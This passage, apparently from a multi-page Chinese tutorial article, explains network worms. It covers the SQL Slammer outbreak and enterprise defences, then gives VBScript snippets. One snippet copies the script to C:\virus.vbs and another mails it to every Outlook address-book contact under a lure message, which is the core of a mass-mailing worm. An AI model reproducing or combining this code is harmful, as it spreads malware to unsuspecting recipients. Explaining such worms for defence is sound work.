蠕虫和普通病毒不同的一个特征是蠕虫病毒往往能够利用漏洞,这里的漏洞或者说是缺陷,我们分为2种,软件上的缺陷和人为上的缺陷。软件上的缺陷,如远程溢出,微软ie和outlook的自动执行漏洞等等,需要软件厂商和用户共同配合,不断的升级软件。而人为的缺陷,主要是指的是计算机用户的疏忽。这就是所谓的社会工程学(social engineering),当收到一封邮件带着病毒的求职信邮件时候,大多数人都会报着好奇去点击的。对于企业用户来说,威胁主要集中在服务器和大型应用软件的安全上,而个人用户而言,主要是防范第二种缺陷。
1.利用系统漏洞的恶性蠕虫病毒分析
在这种病毒中,以红色代码,尼姆达和sql蠕虫为代表!他们共同的特征是利用微软服务器和应用程序组件的某个漏洞进行攻击,由于网上存在这样的漏洞比较普遍,使得病毒很容易的传播!而且攻击的对象大都为服务器,所以造成的网络堵塞现象严重!
以2003年1月26号爆发的sql蠕虫为例,爆发数小时内席卷了全球网络,造成网络大塞车.亚洲国家中以人口上网普及率达七成的韩国所受影响较为严重。韩国两大网络业KFT及***电讯公司,系统都陷入了瘫痪,其它的网络用户也被迫断线,更为严重的是许多银行的自动取款机都无法正常工作, 美国许美国银行统计,该行的13000台自动柜员机已经无法提供正常提款。网络蠕虫病毒开始对人们的生活产生了巨大的影响!
这次sql蠕虫攻击的是微软数据库系Microsoft SQL Server 2000的,利用了MSSQL2000服务远程堆栈缓冲区溢出漏洞, Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统。SQL Server监听UDP的1434端口,客户端可以通过发送消息到这个端口来查询目前可用的连接方式(连接方式可以是命名管道也可以是TCP),但是此程序存在严重漏洞,当客户端发送超长数据包时,将导致缓冲区溢出,黑客可以利用该漏洞在远程机器上执行自己的恶意代码。
微软在200年7月份的时候就为这个漏洞发布了一个安全公告,但当sql蠕虫爆发的时候,依然有大量的装有ms sqlserver 2000的服务器没有安装最新的补丁,从而被蠕虫病毒所利用,蠕虫病毒通过一段376个字节的恶意代码,远程获得对方主机的系统控制权限, 取得三个Win32 API地址,GetTickCount、socket、sendto,接着病毒使用GetTickCount获得一个随机数,进入一个死循环继续传播。在该循环中蠕虫使用获得的随机数生成一个随机的ip地址,然后将自身代码发送至1434端口(Microsoft SQL Server开放端口),该蠕虫传播速度极快,其使用广播数据包方式发送自身代码,每次均攻击子网中所有255台可能存在机器。由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。该蠕虫对被感染机器本身并没有进行任何恶意破坏行为,也没有向硬盘上写文件,仅仅存在与内存中。对于感染的系统,重新启动后就可以清除蠕虫,但是仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成Udp Flood,感染了该蠕虫的网络性能会极度下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。
通过以上分析可以知道,此蠕虫病毒本身除了对网络产生拒绝服务攻击外,并没有别的破坏措施.但如果病毒编写者在编写病毒的时候加入破坏代码,后果将不堪设想!
2.企业防范蠕虫病毒措施
此次sql蠕虫病毒,利用的漏洞在2002年7月份微软的一份安全公告中就有详细说明!而且微软也提供了安全补丁提供下载,然而在时隔半年之后互联网上还有相当大的一部分服务器没有安装最新的补丁,其网络管理员的安全防范意识可见一斑!
当前,企业网络主要应用于文件和打印服务共享、办公自动化系统、企业业务(MIS)系统、Internet应用等领域。网络具有便利信息交换特性,蠕虫病毒也可以充分利用网络快速传播达到其阻塞网络目的。企业在充分地利用网络进行业务处理时,就不得不考虑企业的病毒防范问题,以保证关系企业命运的业务数据完整不被破坏。
企业防治蠕虫病毒的时候需要考虑几个问题:病毒的查杀能力,病毒的监控能力,新病毒的反应能力。而企业防毒的一个重要方面是是管理和策略。推荐的企业防范蠕虫病毒的策略如下:
(1)加强网络管理员安全管理水平,提高安全意识。由于蠕虫病毒利用的是系统漏洞进行攻击,所以需要在第一时间内保持系统和应用软件的安全性,保持各种操作系统和应用软件的更新!由于各种漏洞的出现,使得安全不在是一种一劳永逸的事,而作为企业用户而言,所经受攻击的危险也是越来越大,要求企业的管理水平和安全意识也越来越高!
(2)建立病毒检测系统。能够在第一时间内检测到网络异常和病毒攻击。
(3)建立应急响应系统,将风险减少到最小!由于蠕虫病毒爆发的突然性,可能在病毒发现的时候已经蔓延到了整个网络,所以在突发情况下,建立一个紧急响应系统是很有必要的,在病毒爆发的第一时间即能提供解决方案。
(4)建立灾难备份系统。对于数据库和数据系统,必须采用定期备份,多机备份措施,防止意外灾难下的数据丢失!
(5)对于局域网而言,可以采用以下一些主要手段:A.在因特网接入口处安装防火墙式防杀计算机病毒产品,将病毒隔离在局域网之外。B.对邮件服务器进行监控,防止带毒邮件进行传播!C.对局域网用户进行安全培训。D.建立局域网内部的升级系统,包括各种操作系统的补丁升级,各种常用的应用软件升级,各种杀毒软件病毒库的升级等等!3.对个人用户产生直接威胁的蠕虫病毒
在以上分析的蠕虫病毒中,只对安装了特定的微软组件的系统进行攻击,而对广大个人用户而言,是不会安装iis(微软的因特网服务器程序,可以使允许在网上提供web服务)或者是庞大的数据库系统的!因此上述病毒并不会直接攻击个个人用户的电脑(当然能够间接的通过网络产生影响),但接下来分析的蠕虫病毒,则是对个人用户威胁最大,同时也是最难以根除,造成的损失也更大的一类蠕虫病毒!
对于个人用户而言,威胁大的蠕虫病毒采取的传播方式一般为电子邮件(Email)以及恶意网页等等!
对于利用email传播得蠕虫病毒来说,通常利用的是社会工程学(Social Engineering),即以各种各样的欺骗手段那诱惑用户点击的方式进行传播!
恶意网页确切的讲是一段黑客破坏代码程序,它内嵌在网页中,当用户在不知情的情况下打开含有病毒的网页时,病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂,所以会被很多怀不良企图者利用,在很多黑客网站竟然出现了关于用网页进行破坏的技术的论坛,并提供破坏程序代码下载,从而造成了恶意网页的大面积泛滥,也使越来越多的用户遭受损失。
对于恶意网页,常常采取vb script和java script编程的形式!由于编程方式十分的简单!所以在网上非常的流行!
Vb script和java script是由微软操作系统的wsh(Windows Scripting HostWindows脚本主机)解析并执行的,由于其编程非常简单,所以此类脚本病毒在网上疯狂传播,疯狂一时的爱虫病毒就是一种vbs脚本病毒,然后伪装成邮件附件诱惑用户点击运行,更为可怕的是,这样的病毒是以源代码的形式出现的,只要懂得一点关于脚本编程的人就可以修改其代码,形成各种各样的变种。
下面以一个简单的脚本为例:
Set objFs=CreateObject (“Scripting.FileSystemObject”)(创建一个文件系统对象)
objFs.CreateTextFile ("C:\virus.txt", 1)(通过文件系统对象的方法创建了TXT文件) |
如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:
objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs") |
就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。
此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:
Set objOA=Wscript.CreateObject ("Outlook.Application")(创建一个OUTLOOK应用的对象)
Set objMapi=objOA.GetNameSpace ("MAPI")(取得MAPI名字空间)
For i=1 to objMapi.AddressLists.Count(遍历地址簿)
Set objAddList=objMapi.AddressLists (i)
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem (0)
objMail.Recipients.Add (objAddList. AddressEntries (j))(取得收件人邮件地址 )
objMail.Subject="你好!" (设置邮件主题,这个往往具有很大的诱惑性质)
objMail.Body="这次给你的附件,是我的新文档!" (设置信件内容)
objMail.Attachments.Add (“c:\virus.vbs")(把自己作为附件扩散出去 )
objMail.Send(发送邮件)
Next
Next
Set objMapi=Nothing(清空objMapi变量,释放资源)
set objOA=Nothing(清空objOA变量) |
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。
由此可以看出,利用vb script编写病毒是非常容易的,这就使得此类病毒的变种繁多,破坏力极大,同时也是非常难以根除的!
上一页 [1] [2] [3] [4] 下一页
GOOGLE广告载入中... GOOGLE广告载入中... |